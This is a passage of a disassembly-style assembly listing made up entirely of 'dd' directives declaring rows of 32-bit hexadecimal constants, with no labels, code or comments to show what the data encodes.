		dd 1E940D02h, 90CCF0h, 68BC0E04h, 0CD8B22BDh, 0C83245B8h
		dd 208D7855h, 6BBE5648h, 2BCE1C05h, 0A004B7E3h,	4E4192D0h
		dd 4061669Ah, 0E058D898h, 3AF82F00h, 230B568Ch,	201000E2h
		dd 145030DDh, 9230CC5Ch, 0D8EF7902h, 24D950C5h,	0DE4D8847h
		dd 177E301Eh, 987D8B8Eh, 0F13EC1h, 9CAE5A84h, 32651636h
		dd 61CEB505h, 0B05CB7A3h, 580BACC7h, 706556D1h,	0D88A38BEh
		dd 0EDC343Eh, 50580679h, 1C4908C5h, 0BC401C40h,	7DFB4680h
		dd 9AB33FCh, 398BA24Ah,	6ABE2000h, 0DD001648h, 892F327Ch
		dd 0A037ABA4h, 149CF4A2h, 0F4DCC0DFh, 5E73007Ch, 180AC22Ah
		dd 61C127EBh, 40B67E9Ah, 3A96B09Ch, 527F03F9h, 753A5E9Ch
		dd 61C51806h, 2C9B1A4h,	24E14B48h, 0E4A712AAh, 0E4800968h
		dd 0FBFC93F7h, 89535212h, 2B6FB004h, 0E7E40C1Fh, 0AA114819h
		dd 0FB1A3227h, 0C00559B2h, 0EDA84364h, 6E5E6D0h, 6935AA8Ch
		dd 0E4004274h, 0F87EE7AFh, 12C54DD1h, 0ECAA09h,	3AA7BC08h
		dd 8F02F321h, 155169BEh, 33660A4h, 88A20033h, 0F395C13Bh
		dd 23078683h, 9C3A96C6h, 0DBF0E9h, 0D74309DAh, 4AD8F6DFh
		dd 4208A500h, 0CDEFE228h, 3DB797Bh, 0C3724745h,	4878DFDCh
		dd 0F7B3081Bh, 0F271F920h, 303E609Eh, 39B27869h, 0F489800h
		dd 0D39D17A5h, 0FB0F6A7h, 45545AAAh, 7B067A60h,	0D107E343h
		dd 9C5B158Ch, 0A9EA3B20h, 8E40C33h, 4551D31Ah, 0F9B71818h
		dd 23D7270h, 0F898018Dh, 0DA007A63h, 3A3FC40Dh,	4C18D789h
		dd 0F618C643h, 846241C6h, 4E53F29h, 152DA980h, 6CE25A99h
		dd 7BCE4A00h, 0D1C758E7h, 77620774h, 31850CB5h,	209754FEh
		dd 0B36FDB4Dh, 5F90A480h, 68205A80h, 5802606Ch,	0B7410F95h
		dd 0B00A6FEh, 0ABC11277h, 42995Bh, 0DABEF0C0h, 78105D72h
		dd 700087EAh, 0E98A4084h, 216E759h, 89642CEBh, 0EEE0C023h
		dd 0CB75F052h, 12338B00h, 0FA781103h, 7F2300FDh, 983197DAh
		dd 4700E860h, 0A29262EEh, 74D5A5h, 3682FD4Dh, 2A5D6D76h
		dd 48C0FAB0h, 0E3242311h, 0F4511893h, 6FA28897h, 2D2EC505h
		dd 94C0B9A7h, 72E7ADD8h, 6E8A03ECh, 0E8D9D49Ah,	0F4C29011h
		dd 3AE6560Eh, 2AC7D120h, 1A00F933h, 3CDA75FFh, 0C0F2C142h
		dd 0ADDE10A0h, 0CE06CCE1h, 0F1F6C25Dh, 2B20C040h, 12709737h
		dd 308C011Ch, 0C5EF4C80h, 609D44E5h, 12714178h,	0A0F01E6Bh
		dd 1A4FBE07h, 0F23037Fh, 0A4408D5Bh, 37F1CF5Eh,	0FE260046h
		dd 7FC7E4C4h, 0A73A47D7h, 0FA486073h, 23C5Fh, 84D8D48Fh
		dd 0CB726F18h, 0B801D5E8h, 0C4E98747h, 0C0609FCFh, 0E8C9F65Ch
		dd 2019605Eh, 9AE98F1Dh, 30F92B00h, 0B0CBB7D8h,	0CE2A3983h
		dd 8A87C580h, 936E42B8h, 2E328900h, 4A2B2031h, 1F7D0Bh
		dd 0B052CDE7h, 9CA35C4Bh, 0D5406D7Eh, 0F800E9B5h, 0E66DD6F7h
		dd 0DE002290h, 78D4D13h, 965B9D84h, 52C3614Eh, 8850E183h
		dd 38DD6230h, 37FADB87h, 149C09Fh, 520EAC5Ch, 402A8A61h
		dd 21E5C0BCh, 0B3AD0025h, 0E6F22BB4h, 0F3A3E49Fh, 83984000h
		dd 92D20B59h, 2D290EB4h, 828CB60Ah, 9B00E191h, 50629959h
		dd 0C8F7BA2h, 52E4F8B5h, 0A700F641h, 2A50409h, 18D3BC96h
		dd 90F57ABBh, 0EAA0FF72h, 6A02A91Bh, 2FEB9658h,	559C8057h
		dd 36039064h, 0A8102BFEh, 292AB1FEh, 41A0BC5Ch,	4003E39Fh
		dd 0C12C2512h, 76180C13h, 182022AAh, 3241AC00h,	4AADEA9Eh
		dd 0F4970A58h, 40708EE6h, 0D21659B4h, 91229A46h, 59ACEA01h
		dd 1DE4C938h, 0ECEFE3D8h, 0DC5220A0h, 7BA8CE07h, 0FF5557h
		dd 0F09EAA77h, 0F581C029h, 17F89DDBh, 19C7395Ch, 2708EEACh
		dd 0D1622180h, 1C01CE9Dh, 0CB883813h, 0AB89571Ch, 0EB040098h
		dd 3E0EEA3h, 0F70FAC19h, 3800AA86h, 4AC1DB2Ah, 1F99F85h
		dd 673C705Bh, 0D8F1C222h, 6B00A98Ch, 55E99951h,	2A5E05Dh
		dd 25970A15h, 94A1C521h, 26701885h, 0E97C0274h,	31A7CFC7h
		dd 85101042h, 0F26D00E9h, 247D89Dh, 0A909C711h,	6542F9h
		dd 0DE2C773Ch, 0D01554EEh, 6C0B0038h, 8110AB86h, 603A93CAh
		dd 21BC308Eh, 6C13EAh, 0AC7E1BD0h, 604E01F3h, 97F6CC18h
		dd 0FA69E9h, 8F675E2Eh,	0B37C5B19h, 22504B12h, 0B461200Ah
		dd 32D9BCA1h, 5E040218h, 7F126452h, 30850C82h, 35085989h
		dd 64B562D2h, 0A1E34084h, 0B76B59h, 0C8A0D198h,	0CB47D2CDh
		dd 13212098h, 0E9738175h, 18BFCFD8h, 9A91885Bh,	0CDE5E90Eh
		dd 0E067E0E2h, 13AED48Dh, 38542F8h, 3E5D2B61h, 0FF1F4F90h
		dd 0CC904B14h, 0FAB60080h, 0DC1A056Bh, 3776A3h,	0EBD061A9h
		dd 7AF9B310h, 5F68B000h, 7857B82Bh, 5258C088h, 5173A902h
		dd 55402E01h, 0FFB0EE9Ch, 8402BC25h, 59B53089h,	82D21112h
		dd 7EF9038h, 0A55859ADh, 5599A06Eh, 2F6192A9h, 73E996A0h
		dd 7BE906DBh, 393FEFDCh, 43DC482h, 2B027506h, 3D450010h
		dd 35408676h, 3000D6A6h, 3E84744Fh, 3053B74Ah, 2F20472Eh
		dd 0C200802Bh, 0F428FDE2h, 788E54F0h, 0B3FC0017h, 1F52EECEh
		dd 0E400D746h, 1D5E7083h, 1CA963A3h, 0C057CBA7h, 0D72B056Dh
		dd 0AC00354Dh, 943C32C0h, 8C9DA5h, 0A32FB758h, 1619D32Bh
		dd 0C93A7B00h, 9CE71BA6h, 8B07003Ch, 6BB08821h,	3300140Bh
		dd 0F6C677FDh, 0E63EFEh, 0C28A6D07h, 7611B806h,	3685A00h
		dd 23699855h, 50BF3CABh, 0A32B3100h, 89EDEE44h,	7BAC0813h
		dd 9BC4A03h, 35BAD149h,	0C025DAFFh, 219A9Dh, 0FCE8E7D8h
		dd 412724A1h, 471D040Fh, 954FC04Ah, 8B8468h, 0F4F0BC6Ah
		dd 0C6BB3C3Dh, 0C91A1803h, 0C08DA602h, 7D1767h,	5F7410ADh
		dd 49CBFEB1h, 472A570Fh, 110B60E8h, 3A415DDh, 4A9A4B14h
		dd 65B0C8EEh, 61E4BD60h, 2218FC00h, 5EA93BECh, 8F7D0016h
		dd 155A47CAh, 0DE0AAB3Ah, 0F09E434Eh, 0A75C688Eh, 5E80F886h
		dd 0A9DC0Ch, 4AFD3A39h,	0C3C971D2h, 0C499A61Ch,	1D745E80h
		dd 143D70BEh, 0A4EC90DCh, 0AEF88809h, 8118C90Ah, 7A74CCD2h
		dd 55A08058h, 0F0CEB407h, 67A000FEh, 4AEEF399h,	0DC0118B6h
		dd 338064E8h, 92C0854Eh, 820503CFh, 0DA16D397h,	8766D8D0h
		dd 0B1E12D26h, 0EA3AEB00h, 4A0F9Bh, 75D2FC99h, 0E30209A6h
		dd 3D11D800h, 3B543EE8h, 0E5E00078h, 0BA246D39h, 513A20FDh
		dd 7DBD128Bh, 601A080Eh, 0CD2CFCFAh, 0AD060389h, 0B8A9FEF2h
		dd 1A21E016h, 7100E854h, 1B55C206h, 6F073A1h, 401DDFDEh
		dd 8500E064h, 0B07212F2h, 3A6B826Ah, 9C00863Eh,	6ED65721h
		dd 70006450h, 0D270956h
		dd 0E139A4Ch, 0F492A68Bh, 0F9F1A7h, 4AC5B391h, 940301E4h
		dd 0E911C002h, 0A17DA08Bh, 4868C378h, 0B6DA4A12h, 49333C40h
		dd 7156E103h, 0D73FB752h, 1B4C63D0h, 0F8DD0025h, 5F54A619h
		dd 8C286E0Dh, 0D677CC2Ch, 0A7F5E00h, 529D874Dh,	0A141001Ch
		dd 0B8AD70BAh, 0B2E66F99h, 8494213Dh, 7F67642Fh, 4FBF0080h
		dd 8CA300A7h, 0A3156DBh, 58E84176h, 59BA2807h, 0A1901A8Bh
		dd 2B1DE8h, 2E807447h, 68F38DC0h, 4A3C3300h, 75B70984h
		dd 4ED8132Bh, 0EE3020DDh, 68788C5Ah, 0F697E300h, 0D11E5BAEh
		dd 0FB7D9Eh, 0DBD27407h, 4E64DFB4h, 6B110800h, 34ABE2CCh
		dd 6F3D00BEh, 0A03F9375h, 9CB820BBh, 0DF001490h, 0F658374Ch
		dd 0E0CE897Bh, 3D18C099h, 0DA1A8C52h, 0EF027078h, 498F29CCh
		dd 0ACD54183h, 0B0BD9920h, 0E2D4608Eh, 0DE4FFA3Ah, 4DA2280Fh
		dd 98C58062h, 0AE0E7Dh,	0CB02209h, 0BCAAC1FEh, 861FDAF8h
		dd 0D4C052B9h, 15A711E5h, 0D3E10264h, 635CF26Ch, 700FD7E0h
		dd 0D7C7B800h, 0FC938F53h, 4D990F5Bh, 224F6B42h, 2798E800h
		dd 3D019AB3h, 0E6869665h, 0F6F0C81Fh, 1B8F0506h, 898C59h
		dd 634099A1h, 9200F173h, 0AC9B7C86h, 3E21B083h,	480E11CCh
		dd 4CE9932h, 0A20D1C00h, 0EF061667h, 29B2286Bh,	2D0A30A8h
		dd 7257252Ah, 0C2F18701h, 0AB70CCECh, 6ADAD440h, 0FB883909h
		dd 0F5E84680h, 0F277A24Dh, 8670C800h, 0CF9E3325h, 0F9FF0195h
		dd 0FC3A14C5h, 42E6F0AEh, 8DA95004h, 508067E3h,	3C5B7D2h
		dd 0E44C11Fh, 0E0034775h, 3F17987Bh, 77900399h,	0F1D9C7B5h
		dd 0D09429F0h, 32D49003h, 0E8458173h, 5051B6h, 0DACC2855h
		dd 22C4589Eh, 474A949h,	0A24FDF3Eh, 63ECF281h, 0CC89A0EFh
		dd 30C49834h, 0F53CC695h, 5AFADF9Eh, 25055600h,	23723A91h
		dd 0D99604CAh, 808E6D06h, 5897AF5h, 8F975801h, 0F93254C2h
		dd 0A08D1EE0h, 7EEAC0h,	0DA956C51h, 0DE6656D1h,	0E284D414h
		dd 930500D8h, 82BC3311h, 390F00A0h, 0F3C6BE94h,	4E00719Dh
		dd 6F6C9E73h, 1D6E58D3h, 401A4AA8h, 74018223h, 48020E2Ah
		dd 0B0EF2860h, 0E2450F7h, 12EAB983h, 0BA5A2E3h,	9E1DC5E0h
		dd 98180A24h, 57C62204h, 0ECD96CC1h, 0EE11F3ECh, 0AF1F3B08h
		dd 0F8372000h, 0AB0E0287h, 9093D900h, 0FEDA8955h, 26920077h
		dd 0F450C5E9h, 11383B8Eh, 0FC9A001Ah, 45283927h, 5D650064h
		dd 0ACD937FEh, 0B10033DDh, 14DA8055h, 13683Dh, 9D1E57E4h
		dd 0BA37F1Fh, 25936D1Dh, 20AF3EC0h, 813FC4h, 0B3F55D97h
		dd 9A7B9B7Dh, 51DA072Ch, 2780681Dh, 961A3F59h, 0A5D42475h
		dd 648F386Bh, 41E08BC9h, 1D5D12B5h, 61C78A07h, 0BAF0FE94h
		dd 0BDA84Bh, 80FC6CE9h,	685CB2Ah, 0AA4C1E00h, 0B0678754h
		dd 1D437879h, 805286A9h, 63D25E02h, 0B09855B3h,	0BC285A00h
		dd 0B45BBF92h, 0F060002Fh, 0ADE9DD7Fh, 0AA01B90Fh, 925703BAh
		dd 6530C6B6h, 3EA370FAh, 67803F65h, 8528E046h, 0E9774C48h
		dd 64F2621Eh, 0BB811780h, 904D758h, 8083FBCCh, 7FFC580h
		dd 0E500B440h, 0DABDB261h, 17763BE2h, 6021FEh, 4302207Ah
		dd 65007924h, 7B9F38F9h, 242DE64h, 66B8BB14h, 0D48061B2h
		dd 0FE70BFB0h, 8639EF00h, 882276A5h, 0C2F70192h, 1BB10EF6h
		dd 118E3015h, 0E12C6F00h, 0B8B3DE63h, 0A8D60079h, 1E08678Ch
		dd 9D09D388h, 80F713A9h, 0C3440EDFh, 74B32518h,	0A18FB020h
		dd 30FF677Fh, 9003C64h,	71A488A3h, 3A7E79h, 5989AA06h
		dd 2BDE1E9Ah, 0E9499C07h, 3C275639h, 4A68F5D0h,	0B5520066h
		dd 0AB9B8A30h, 0BF00DBE3h, 27B16F2Ah, 1E768F98h, 0F864129h
		dd 4009E35h, 2B608483h,	0EA0A172Ch, 981C09h, 0FBE6FC7Eh
		dd 863800ABh, 95D077A9h, 82018CD8h, 5D43179Ah, 5039206Bh
		dd 0C9D04818h, 0C90EFFCEh, 8ED7CFC4h, 9F7982DAh, 5C10826Ch
		dd 0A21C80F7h, 3A7D2A9Eh, 98389117h, 0B860AEACh, 5DB4CA80h
		dd 3941926Fh, 0F5AFA100h, 50E5BCA8h, 0ED17414h,	8A2FC9DFh
		dd 0E3D37040h, 487C1780h, 0D984A100h, 8CD01D83h, 0E0990CB4h
		dd 0D190F2AEh, 9F0ACF08h, 3254646Fh, 0B4F700B6h, 0D5002644h
		dd 5F314907h, 0FD142E5h, 9F2B2487h, 79CCC940h, 0C0EE1F74h
		dd 90AD8300h, 42F08C18h, 10AA03D2h, 1B1D6FF9h, 0FCC1B1B0h
		dd 24B08600h, 3E7E139Bh, 0F82DEACFh, 0B4870046h, 0FFDEB512h
		dd 41002077h, 633305BEh, 3C0A6Ch, 49345AAEh, 8D2CF86h
		dd 38F03203h, 83A8B59Ah, 30BEB894h, 374A3AE6h, 0E93ED701h
		dd 0E841691Dh, 9F0F147Ah, 0A0A534FBh, 397697CBh, 760E0B6h
		dd 8F38A3A2h, 0B423A073h, 0CE00A418h, 2572BB56h, 6BF063h
		dd 0CAA5CF61h, 0B48D30Fh, 49CE6000h, 25B63A59h,	6E643FFFh
		dd 1DD4F612h, 0A9DDC0EDh, 851423F9h, 0D111A49Ch, 896C0880h
		dd 8718ABh, 0E6D70EFh, 0D700207Eh, 185D6F1Ch, 734DEBh
		dd 83CE77CBh, 0D152F3D3h, 0DA619F64h, 826D6760h, 8E70AB10h
		dd 6D6FDEB0h, 5D1D5201h, 0AF721462h, 1850A770h,	60744603h
		dd 0C907096h, 0A42EF24Eh, 22009E23h, 0A01E9042h, 504560EBh
		dd 0DC9AD161h, 0F890B0D3h, 0A4D32C76h, 6C0A045Ch, 62A8AB87h
		dd 72602EC6h, 0F673186Dh, 0A4583303h, 1AE3558Bh, 682EFB12h
		dd 9C79FC59h, 0F9FAF218h, 85691060h, 112A02h, 0E9D86C69h
		dd 6D86175Ah, 0AA772B09h, 3F4CE6ACh, 171F9DC5h,	0C891E169h
		dd 9DDB6C00h, 45491620h, 0B452E302h, 0D1AD9C69h, 6CD9F7Ch
		dd 761892A3h, 3EC2AE12h, 0E153D400h, 9BE2BEh, 866273DBh
		dd 70AFCDC5h, 7E004175h, 0BF47B534h, 7884B7E6h,	40F400FAh
		dd 562D3CAFh, 2400D652h, 0EF90681Fh, 0BA5A4Dh, 0C4F4E58Ch
		dd 168A92B4h, 3E00D0F2h, 0CD6D9118h, 0E05834h, 47B21DC6h
		dd 0CE3C9CCBh, 17F6101Eh, 59B07C00h, 0FE9CD12h,	0F58AAE2Dh
		dd 2465BC80h, 0D30E7BA9h, 8F42614Fh, 0D0A5003Ah, 6DC91FAh
		dd 0C4AD0F01h, 0E9670819h, 0E5500421h, 0C0D4FA28h, 86894510h
		dd 0CA1F24E2h, 4FC7AA22h, 0C0811043h, 56F899CCh, 3181D8B9h
		dd 0CCE9B8D3h, 11C325EDh, 7828B1Ah, 0D7B9FDB8h,	2D08ECBFh
		dd 936021C0h, 25C882h, 0EBE45785h, 0E8837B44h, 0D24AF401h
		dd 0A613B5D3h, 0C454F30h, 4403B2E6h, 0CB9849B0h, 23386201h
		dd 1B202E39h, 75A3DBh, 0D2E23A58h, 0FBB0AD98h, 7DAF0400h
		dd 5A99486Dh, 5EDA28D8h, 73D20CA8h, 0BE606E38h,	0E864C450h
		dd 1D0ABF00h, 2A59CB3Fh, 0AE24065Bh, 38209B68h,	1BE43E00h
		dd 2672BD88h, 56A300C1h, 92D958A2h, 8A008016h, 0C735EC62h
		dd 0F8FD1DCh, 8163EB2Dh, 0C530280h, 1B77FD56h, 0A554D6F8h
		dd 0F242DA0Ch, 0A1BDA921h, 801D0851h, 1106F642h, 8B318261h
		dd 0E1A3E04h, 8CE859CFh, 2BEB1603h, 0B9A0000Ch,	0E63E08B7h
		dd 0B3039EAh, 77092091h, 48B50664h, 514ED61Bh, 0A8744FFCh
		dd 3F5D39CFh, 5ED5F203h, 1A3CC1E5h, 83E3C2E1h, 4470E60Fh
		dd 0EC7899F1h, 8FA8828h, 8B22ED78h, 0D0010FB2h,	8F014056h
		dd 0F94514C3h, 0E104F7CFh, 9EAD648Dh, 40516205h, 0E068E9ACh
		dd 260255D1h, 6508632h,	930EE3F1h, 89380483h, 0FF0820Ch
		dd 5A0C11D2h, 0B79B735h, 0CDC81018h, 3882F731h,	0CA80AF75h
		dd 0BB5119Ah, 8FE2028h,	0F8189300h, 4F2E9BA8h, 33140302h
		dd 8CF27036h, 76FEC688h, 0F72B8900h, 1215295Dh,	0ABB505EDh
		dd 38C4F18Dh, 0DB015014h, 0B3728F21h, 1A063Fh, 0BC1EDDC0h
		dd 473FA99h, 7AB30DCCh
		dd 71BB80BAh, 9300DCCDh, 8DC8BFFEh, 0A798D7F6h,	5F2E8C14h
		dd 0AF29D670h, 2BC07491h, 0E5062Fh, 4BE612E2h, 9DF0D1B2h
		dd 0F5D49926h, 0F7753F01h, 96DAE2AAh, 0A7F60134h, 0F73A05D2h
		dd 2070A34Ah, 0CC08BF00h, 52129FFEh, 8BC444A0h,	0D90880E9h
		dd 449067D0h, 47A430F9h, 0E4826092h, 0EBF8043Fh, 105960DDh
		dd 0F95DAE52h, 48CF2400h, 0DFE9A796h, 42A0E57h,	0B5E1EB0Ch
		dd 71584270h, 0FB29BEB3h, 88310B88h, 0F488B605h, 8108971h
		dd 2150844Fh, 95453628h, 53E810F2h, 89B09D88h, 7822F2BDh
		dd 940D0397h, 3B3AC3B8h, 79357500h, 29C0F86Eh, 3149033Fh
		dd 0DBF7BD7Dh, 0E0F5DCD8h, 65842A00h, 0C60F139Ch, 0BC2200E4h
		dd 1E8946Bh, 0A8008A3Bh, 51D3951Bh, 23B20Bh, 0D578E0EFh
		dd 0E6DAA470h, 0C4CED00Eh, 0D4C08058h, 18454A7h, 0F525CC39h
		dd 0D03D7B10h, 0DB00078Dh, 0A48E0C4Eh, 301137Ah, 9F6A087Eh
		dd 0FAC8F7CAh, 0D4008F25h, 0F88BEF8Ch, 0A8C333AAh, 0EA0529C8h
		dd 22B700A5h, 41090BA9h, 0CD03FC3Bh, 46717BA4h,	3C11A39Fh
		dd 479D6BF8h, 18A6CF30h, 83B1A300h, 90006E4Ah, 0B2802CC3h
		dd 35267D9h, 0F2995606h, 5828872Dh, 5F1DCD3Eh, 0AA03AF20h
		dd 3F9048C6h, 40CC2F80h, 6AD8DD03h, 9CF84599h, 82003858h
		dd 0AE773697h, 90D917h,	0C141F4E1h, 4C75A05Eh, 9A925F00h
		dd 14E213CDh, 9906300Dh, 0D7BFD910h, 0FDF58D00h, 0E91AECEAh
		dd 70110F49h, 0BAC0CF1Ch, 0B47BD164h, 103FAB01h, 47F3EAA6h
		dd 80FE96E5h, 404463E5h, 0E3D30693h, 0E8AC2145h, 60DB2500h
		dd 43E778BFh, 2AF61C3Dh, 1E77001Dh, 939C3EBDh, 935ECFFh
		dd 123F973Eh, 0BA806753h, 58A85BEh, 2EECA457h, 3B189055h
		dd 0D801B9C5h, 3EF3716Eh, 0AAF4620Ch, 3F5D0097h, 41DD503Ah
		dd 0FD00D2B0h, 0BCFEBFA3h, 0D93F3h, 87035DB6h, 5470CA04h
		dd 0CBCC8F00h, 0AD1C7414h, 1FC1E44Dh, 50611Fh, 0B921F749h
		dd 0D8007A2Ah, 4A86D2EDh, 0C1E3Bh, 56AF1592h, 0D59B691Fh
		dd 0C9E04060h, 4F24FEh,	0E9331E63h, 99606F6Dh, 207A9D00h
		dd 2CA477DCh, 0D61A0081h, 0EBC71294h, 0E100406Dh, 67904FEh
		dd 6021080Ah, 0F33610FBh, 0E021DAAh, 73CBC0BCh,	0E0086871h
		dd 77891FCh, 0C16AF9BBh, 0C0623060h, 8D0139C3h,	0B552FCE5h
		dd 0D2F0CD9Bh, 0A5711F33h, 0AE40C058h, 0AB3C5C98h, 28E65701h
		dd 0BF2093C0h, 75709CFCh, 0A82E2E61h, 9A003B34h, 88296BD7h
		dd 0D90030C1h, 0EEC73F78h, 12AE546h, 6FAC1BC6h,	0E4F4EC5Fh
		dd 0B101AEA2h, 0A8A953C7h, 3F204778h, 5CA40EC8h, 1520D456h
		dd 8EF68459h, 529D2E01h, 3A3713Dh, 279874h, 0EA9C6DC9h
		dd 87287FAh, 0D3D594A0h, 2E834600h, 0D475211Ch,	0FBB8A0AEh
		dd 0EE180053h, 4B32F18Fh, 26E07BFFh, 5B791C00h,	88E09FD8h
		dd 0F9ECA01Bh, 674A2335h, 0A3A3D809h, 0C0851E1Ch, 564E4C8h
		dd 3C06FDA4h, 7B60275h,	5861C75Dh, 37F66019h, 6DB83200h
		dd 0B3D3F2DEh, 120F01EAh, 7119935Ah, 0A02920ACh, 0C4BC6000h
		dd 0B88EFAB9h, 0E7A91E29h, 5033B84h, 0BC75EAB1h, 0B6BB1901h
		dd 405419DCh, 4DEBB660h, 9005308Ah, 0CC556h, 0CBD8ABF8h
		dd 21137FC7h, 6807D55Dh, 29F7C2D9h, 1697C000h, 0DF47Ch
		dd 80384F6Dh, 7B87B360h, 0FB056A1Dh, 80349B89h,	47C70D7Eh
		dd 2F32002Dh, 75B25FE6h, 0BBE87F48h, 0AAAC8E1h,	0B05C7700h
		dd 7120DC21h, 309B07C0h, 1F080733h, 6C2E0EC0h, 0A300E441h
		dd 8ECDD3CEh, 0FA6729Bh, 57DE90E0h, 71F984F8h, 0BB531100h
		dd 18F4B396h, 4EE23Ah, 0D13F66E5h, 44AE7349h, 884FDA00h
		dd 0C276720Bh, 0DC4B0045h, 0C06D55C1h, 0EF00F70Eh, 0A538AF3Dh
		dd 3BF5FA3Ah, 0FCF487h,	64C82827h, 7E77EA1Ah, 36A69507h
		dd 9A304181h, 4863B562h, 0BE3F64A1h, 0E183C000h, 26AFCDABh
		dd 5BE64900h, 0C1A3A5E7h, 22540082h, 7AD4BE9Dh,	5203EB8Bh
		dd 1086D5A2h, 4280E091h, 0CD670011h, 0BADD736h,	0C14C381Ah
		dd 33CE0028h, 0B1E5F962h, 0A95A0082h, 8F3E3E9h,	497754FAh
		dd 2A7C4001h, 0E0140DE8h, 0A7A4ECh, 14D0B92h, 6AB66D34h
		dd 3500DCECh, 2B4F1F9Ch, 0A8A448h, 824A025Fh, 9E8C0E2h
		dd 0AD452300h, 53EBD8AEh, 12BDFC19h, 0E88E7CEh,	0A1A0D418h
		dd 33A97578h, 0FE699F00h, 2DB0F582h, 6D9B0039h,	0F9F0898Dh
		dd 3AF6340Ch, 47837400h, 0B437DC43h, 7B6C0232h,	3CD15844h
		dd 0B25B05D7h, 89B2B087h, 204D2033h, 6C0212D6h,	4C8D756Fh
		dd 0E3504009h, 0C0B13FD2h, 46CBEE00h, 0D948DAF4h, 0F7957F02h
		dd 40F57842h, 4CBAB8h, 1DD7074Bh, 2E059BDAh, 0DF75ECEEh
		dd 2CB89200h, 0ED585227h, 0DC0948FCh, 0A7C97500h, 0B3F77161h
		dd 76C5FA00h, 6BA1A0C3h, 0EABD003Ch, 0B6E56A6Ch, 3A075683h
		dd 0C931FB4Ch, 0C56444F3h, 0E01D6880h, 983371EAh, 0E63B0F28h
		dd 0B8E04F13h, 0CC120661h, 53AFB101h, 23FBFE0Eh, 283C4h
		dd 0C636C448h, 0DE4F9BF3h, 9924601h, 80E8E362h,	9368FCh
		dd 0D0B3CE3Dh, 29670B8Fh, 343CF500h, 14B9EFD3h,	9A8600A0h
		dd 0AAEDCFBCh, 35001DFEh, 198EC848h, 9A9A8A2h, 38703014h
		dd 7765F803h, 0D5FB94B8h, 79C0BA00h, 0B6EF354Eh, 0CCAE00C1h
		dd 0FCBFFF65h, 3A03DEF7h, 0CF868B99h, 2512E064h, 7EB3009Dh
		dd 60E9FC7h, 9003CC1Ah,	0CFE3EFDFh, 0DA478871h,	89AA072Bh
		dd 7115B046h, 60B4612Ah, 0C001E710h, 0BC644DBEh, 74D07D5Fh
		dd 1D9D00FCh, 92432DABh, 467580EAh, 85002078h, 6C955D2Fh
		dd 5FB983Fh, 9B077204h,	3DDC80A0h, 97E6AF88h, 0A16C0A00h
		dd 0FEF21B9h, 0FC75D7h,	4E0E6D1Dh, 0BD469B83h, 17B1401h
		dd 37E44359h, 0F839D7C4h, 0F32100D1h, 524F995Dh, 8A1616C2h
		dd 4800227Eh, 5165CFEDh, 303C900Eh, 0A2F9B13Fh,	6700F10Fh
		dd 1097FE9Eh, 0EFD0BAEh, 96FB894Bh, 54361140h, 0E7004024h
		dd 619B3E67h, 48A237h, 80E0943Fh, 0A3A97790h, 1D3C0848h
		dd 0E580CD51h, 0CFC60A68h, 0D5E20Dh, 2BC92DECh,	0D34DAA9Ch
		dd 5E9BF000h, 0C0E9D4D2h, 0FA7143Dh, 5A00964Fh,	0FA895762h
		dd 0FF00A47Bh, 900569CEh, 0A024128Dh, 0A9CAF8h,	0B9FF97Dh
		dd 85039796h, 882D400h,	0E8D33932h, 2674B8CFh, 0CEE1502h
		dd 51442956h, 0A0685Ch,	4DF1A086h, 5C0667DEh, 0F007E8DAh
		dd 1098D764h, 5123A574h, 0BD0F26FEh, 0C7FE53F8h, 3D70ACC6h
		dd 0B29F431Dh, 2E0FC34h, 0E1DE6B4Ch, 406E67h, 953E5547h
		dd 7E028F3Ch, 8926E0B8h, 375F70Ch, 5DBEBC6Ch, 11A25CD0h
		dd 0FF00F072h, 2EA65B27h, 1691BD45h, 0B0D5D15h,	33004FA2h
		dd 7185FA6Eh, 3500E8FEh, 4189F15Fh, 0FCCC2778h,	924E48FFh
		dd 7048AE00h, 58A84793h, 0FAF46800h, 0E9DFDEC1h, 91810034h
		dd 57841AA6h, 26187FEDh, 60819EBBh, 53C8C0DEh, 9972617Dh
		dd 0F1565900h, 11153949h, 7F2A285Bh, 935F00B1h,	463067Eh
		dd 0ED00DAA3h, 0D08A9A4Bh, 0BA613Dh, 88F948D8h,	282572A8h
		dd 0BC4F6A2Eh, 0CD807B9Fh, 0E81798FBh, 1DAB00B4h, 0E138FDE9h
		dd 861DD3AAh, 6D80FC4Ah, 607CB7C3h, 0AD0E0085h,	3937175Bh
		dd 0F83B89B8h, 10AC06D8h, 0E3592380h, 0EBAFF981h, 8247A12Ch
		dd 0DB5DB168h, 3C50ECh,	1835213Ch, 4201736Dh, 3F0DA501h
		dd 4411055h, 0E2284982h, 88808B8Eh, 0AD5F4908h,	97059AFAh
		dd 8325C2EFh, 4B648F00h, 279462B9h, 8C802233h, 0E372BF75h
		dd 0CD7AD03h, 13E9A085h
		dd 61A8E0h, 2F29317Dh, 220113DFh, 309CF09Fh, 56211AB3h
		dd 927FB439h, 0EEC90724h, 56572884h, 715849E0h,	51007164h
		dd 47F05504h, 388BE42h,	34A8AEFBh, 4907900Fh, 0F8EDA794h
		dd 0BBB5A693h, 763C0082h, 0C715D8B4h, 6B1E1F39h, 2D4C9BA8h
		dd 3C1AD04Ah, 6A81D66Eh, 675DD61h, 5869E0BEh, 0C7984BF4h
		dd 0A401FF4Eh, 0C41140Bh, 64674F01h, 0E36FD22Ch, 0C3DF6EA9h
		dd 0F950027Ah, 0DDFCCBE6h, 9F51035Dh, 0D5FD8E96h, 0C0450880h
		dd 9849F324h, 0A7137980h, 75E3295h, 18894061h, 430A1588h
		dd 0DFE8A5E4h, 0B8B902F0h, 0BCCC1526h, 0EA395300h, 13FEE0Bh
		dd 1B289573h, 30610643h, 5C74852Ah, 5ABB0700h, 8B42AD32h
		dd 14081CE9h, 0B2C0F0EDh, 1B1F696Fh, 9C42D1A6h,	0E0259F41h
		dd 904DF04h, 0FCE53CA2h, 0EC018CC7h, 90A21B13h,	0B0E18720h
		dd 0F3EAA0h, 0D2215F4h,	2B4004FEh, 0C337D00h, 0F1CBC052h
		dd 13349241h, 11FA70D2h, 7D508093h, 286501AAh, 7F1B8FC1h
		dd 0F0A85777h, 0E5134C7Ch, 0F281EE01h, 296A04A2h, 9DE4E121h
		dd 67D90453h, 8099EF86h, 0D5804B31h, 901F8E2h, 5F3DEB13h
		dd 0D3C02B0Eh, 98026339h, 19903B03h, 60801A2Dh,	31CB4B4h
		dd 0EDA0244Ch, 0CCC0C99Fh, 770503C8h, 3068D59Ch, 2FC28090h
		dd 0C475FFh, 12A8D405h,	0E2DF3FE8h, 3E515800h, 919CF77Fh
		dd 0E91507FEh, 85823057h, 0AA588043h, 1A02DD6Ch, 0B079AB36h
